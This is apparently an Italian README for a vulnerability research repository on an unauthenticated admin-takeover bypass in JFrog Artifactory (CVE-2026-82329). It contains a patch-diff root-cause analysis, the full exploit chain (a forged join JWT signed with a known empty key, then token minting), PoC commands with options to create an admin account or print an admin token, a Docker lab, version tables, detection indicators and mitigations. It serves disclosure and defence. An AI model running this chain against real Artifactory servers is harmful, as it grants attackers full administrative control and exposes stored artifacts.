Lab Docker riproducibile e PoC in Python per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory che porta alla compromissione dell'account amministratore, con analisi del patch-diff e indicazioni di rilevamento.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgata il 2026-08-28 · sfruttata in natura.
Un attaccante non autenticato, adiacente alla rete, genera un token di accesso amministratore di piattaforma contro un'installazione JFrog Artifactory self-hosted predefinita. Questa directory contiene un lab Docker riproducibile e un PoC validator parametrizzato tramite URL.
Riprodotto e verificato A/B su artifactory-oss 7.161.19 (vulnerabile, JFrog Access 7.191.11)
vs 7.161.20 (corretto, JFrog Access 7.191.14).
La causa principale è stata derivata dalla patch del vendor stesso (diff del bytecode del servizio JFrog Access closed-source tra le due immagini container), poi dimostrata dal vivo — non presa da alcun write-up di terze parti.
getSigningKey("") = = — un
segreto completamente noto. Quindi chiunque può firmare un JWT di join valido (, , fresco,
qualsiasi , ).pkcs7(<vuoto>, 32)0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — nessuna autenticazione) →
HTTP 201, restituisce un token SERVICE con scope admin (audience = Access).POST /access/api/v1/tokens con quel token, scope=applied-permissions/admin&audience=*
→ un token di accesso amministratore di piattaforma completo (questo è il comportamento di "minting di token admin" segnalato
in natura).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1 /registry/join -> HTTP 201 token SERVICE generato (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 token ADMIN (scp=applied-permissions/admin, aud=*)
[+] Step 3 prova della capacità admin:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 byte, solo admin; non autenticato=401)
GET /access/api/v1/tokens (elenca TUTTI i token) -> HTTP 200 (solo admin)
[=] VULNERABILE - un attaccante non autenticato ha ottenuto ADMIN su questa istanza (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 ha modificato esattamente 12 classi. Quelle rilevanti per la sicurezza:
JoinKeyAccess.tryResolveJoinKeys()// VULNERABILE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" consentito
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // chiave vuota aggiunta all'insieme attendibile
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// CORRETTO (7.191.14) -> le voci vuote vengono filtrate
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Senza join key aggiuntive configurate (il default), il valore di configurazione è "";
"".split(",") produce [""], quindi una JoinKeyHashPair vuota (kid = SHA256("") =
e3b0c442…b855) entra nella mappa attendibile delle "join key aggiuntive". Anche JoinKeyHashPair è stata
indurita per rifiutare null/vuoto nel costruttore.
Confermato sull'istanza predefinita live — log di avvio del server:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
Quel kid è esattamente SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// padding pkcs7 di una chiave VUOTA: padLength = 32 -> 32 byte, ciascuno == (byte)32 == 0x20
Quindi il JWT di join per la chiave vuota è firmato con HS256 su 32 byte di 0x20 — noto all'attaccante.
RegistryNoAuthResource (@Path("/v1/registry"), senza @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // body = il JWT grezzo
JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat fresco (<30s) + firma join-key
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Un token di accesso non scadente, con scope admin, firmato RSA. Il token di servizio con scope("admin") può
poi generare un token utente completo applied-permissions/admin tramite POST /access/api/v1/tokens.
ProjectResourceDue endpoint sono passati da @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), confermando che la primitiva di sfruttamento è un'identità SERVICE
forgiata e che la superficie autorizzata a SERVICE era eccessivamente esposta.
Solo self-hosted (il cloud è già corretto). Vulnerabile ≤ l'ultima release in ciascun ramo sottostante; aggiornare alla fix abbinata:
| Ramo | Vulnerabile ≤ | Corretto |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
La fix include JFrog Access 7.191.14.
Vedi lab/README.md. In breve:
cd lab
ART_VER=7.161.19 docker compose up -d # vulnerabile (default); attendere ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABILE
docker compose down
ART_VER=7.161.20 docker compose up -d # controllo corretto
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NON VULNERABILE (join HTTP 400)
Artifactory 7.161.x richiede PostgreSQL (il suo servizio Access rifiuta il Derby integrato), quindi il lab include un sidecar postgres.
python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # modifica di stato Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # stampa un token admin
Puntarlo a qualsiasi front-end del JFrog Router (/access/… raggiungibile). Riporta VULNERABILE
(admin ottenuto) o NON VULNERABILE (join rifiutato). Eseguirlo solo contro sistemi su cui sei autorizzato
a testare.
POST /access/api/v1/registry/join da host non cluster, soprattutto
seguito immediatamente da POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
significa che la join key vuota è attendibile (presente sui default non corretti).scope=applied-permissions/admin,
audience=*, o token admin con subject di servizio (sub=<svc>, scp=admin, aud=<access-id>).kid è uguale a SHA256("") (e3b0c442…b855).Aggiornare alla versione corretta per il proprio ramo (tabella sopra). Inoltre: mettere Artifactory dietro un
reverse proxy che non espone /access/api/v1/registry/** a reti non attendibili, e ruotare la join key + revocare
i token admin inattesi dopo la patch.
Artifact in questa directory: poc/ (validator), lab/ (lab Docker), analysis/ (diff delle patch +
prove decompilate), EVIDENCE.md (output di esecuzione catturato). Solo per ricerca sulla sicurezza autorizzata.